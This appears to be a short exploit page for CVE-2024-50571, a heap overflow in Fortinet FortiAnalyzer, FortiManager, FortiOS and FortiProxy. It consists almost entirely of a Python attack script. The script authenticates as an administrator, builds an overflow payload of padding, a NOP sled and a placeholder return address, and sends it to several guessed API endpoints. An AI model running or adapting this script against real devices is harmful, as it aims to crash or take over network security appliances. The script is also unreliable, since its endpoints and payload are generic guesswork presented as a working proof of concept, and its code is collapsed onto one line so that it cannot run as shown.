CVE-2024-50571 Fortinet多产品堆缓冲区溢出漏洞

# CVE-2024-50571 - Fortinet Heap-based Buffer Overflow PoC # This is a conceptual PoC demonstrating the exploitation of the heap-based buffer overflow # vulnerability in Fortinet FortiAnalyzer/FortiManager/FortiOS/FortiProxy products. # # Note: Requires valid high-privilege credentials (PR:H) # The vulnerability is triggered by sending specially crafted requests that cause # heap buffer overflow in the target system's request processing logic. import requests import struct import sys TARGET_HOST = "https://target-fortinet-device" USERNAME = "admin" PASSWORD = "password" def authenticate(session, host, username, password): """Authenticate to the Fortinet device management interface""" login_url = f"{host}/logincheck" data = { "username": username, "secretkey": password } resp = session.post(login_url, data=data, verify=False) return "CSRF_TOKEN" in session.cookies.get_dict() or resp.status_code == 200 def trigger_overflow(session, host, endpoint, payload): """ Trigger heap-based buffer overflow by sending oversized payload to a vulnerable endpoint that processes user-supplied data without proper bounds checking. """ url = f"{host}{endpoint}" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Send oversized data to trigger heap buffer overflow resp = session.post(url, data=payload, headers=headers, verify=False) return resp def build_overflow_payload(overflow_size=4096): """ Build a payload that causes heap buffer overflow. The overflow data is designed to overwrite adjacent heap structures and potentially redirect execution flow. """ # NOP sled + shellcode placeholder nop_sled = b"\x90" * 256 # Return address overwrite (example - actual address needs ASLR bypass) ret_addr = struct.pack("<I", 0x41414141) # Padding to overflow the heap buffer padding = b"A" * overflow_size payload = padding + nop_sled + ret_addr return payload def main(): session = requests.Session() print(f"[*] Targeting {TARGET_HOST}") # Step 1: Authenticate with high-privilege credentials print("[*] Authenticating...") if not authenticate(session, TARGET_HOST, USERNAME, PASSWORD): print("[-] Authentication failed. High-privilege credentials required.") sys.exit(1) print("[+] Authentication successful") # Step 2: Build overflow payload print("[*] Building overflow payload...") payload = build_overflow_payload() # Step 3: Send crafted request to vulnerable endpoint # The exact endpoint varies by product (FortiAnalyzer/FortiManager/FortiOS/FortiProxy) vulnerable_endpoints = [ "/api/v2/monitor/system/config/backup", "/api/v2/cmdb/system/admin", "/jsonrpc" ] for endpoint in vulnerable_endpoints: print(f"[*] Attempting overflow via {endpoint}") try: resp = trigger_overflow(session, TARGET_HOST, endpoint, payload) print(f"[*] Response status: {resp.status_code}") except Exception as e: print(f"[*] Connection error (possible crash): {e}") if __name__ == "__main__": main()